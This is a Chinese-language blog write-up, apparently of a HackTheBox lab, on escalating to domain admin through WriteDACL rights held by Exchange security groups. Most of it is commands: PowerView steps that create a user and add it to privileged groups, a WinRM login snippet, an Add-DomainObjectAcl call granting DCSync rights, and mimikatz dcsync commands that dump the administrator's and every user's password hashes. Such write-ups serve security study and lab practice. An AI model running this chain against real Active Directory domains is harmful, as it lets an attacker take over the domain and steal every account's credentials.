投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权
本文作者：VastSky（Ms08067实验室读者）
前言
在域环境中，如果安装Exchange后，系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限，就能够继承用户组的WriteDACL权限，WriteDACL权限可以修改域对象的ACL，最终实现利用DCSync导出域内所有用户hash。
利用条件
获取属组为一下三个组的任意用户
Microsoft Exchange Security Groups
Exchange Trusted Subsystem
Exchange Windows Permission
实验
1、通过bloodhound分析出来如下图所示
通过上图可以清晰的看到，用户所属的组对
EXCHANGE WINDOWS PERMISSIONS 组拥有所有的权限，而EXCHANGE WINDOWS PERMISSIONS 对域有有writedacl的权限，因此可以通过 域渗透——使用Exchange服务器中特定的ACL实现域提权，的思路来提权。通过DCSync来提权，EXCHANGE WINDOWS PERMISSIONS组内的用户，可以对任意用户修改acl权限
2、创建用户用户
$UserPassword =
ConvertTo-SecureString '123456qazwsx' -AsPlainText -Force
New-DomainUser -SamAccountName one -Description
'This is one' -AccountPassword $UserPassword
修改用户密码：Set-DomainUserPassword -Identity
harmj0y2 -AccountPassword $UserPassword
3、将新建用户加入到EXCHANGE WINDOWS PERMISSIONS组，并且允许远程登录
Add-DomainGroupMember -Identity
'EXCHANGEWINDOWS PERMISSIONS' -Members 'one'
Add-DomainGroupMember -Identity 'Remote Management Users' -Members 'one'
4、使用one用户通过winrm_shell.rb用户远程登录
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.161:5985/wsman',
user: 'htb.local\one',
password: '1234qwer',)
5、利用DCSync导出hash
于是one用户可以对自己添加三条ACE(Access Control Entries)：使其获得DCSync导出的权限，正常情况下，如果获得了以下三个组内任意用户的权限，都能够利用DCSync导出域内所有用户hash组名如下：
Exchange Trusted Subsystem
Exchange Windows Permission
Organization Management
向域内的一个普通用户添加如下三条ACE(Access Control Entries)：
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限
6、添加ACE的命令如下：
Add-DomainObjectAcl -TargetIdentity
'DC=htb,DC=local' -PrincipalIdentity one -Rights DCSync -Verbose
7、再次退出重新登录
(1)导出administrator的hash
mimikatz.exe privilege::debug 'lsadump::dcsync /domain:htb.local /user:administrator /csv' exit
(2)通过以下命令导出所有用户hash
mimikatz.exe privilege::debug 'lsadump::dcsync /domain:htb.local /all /csv' exit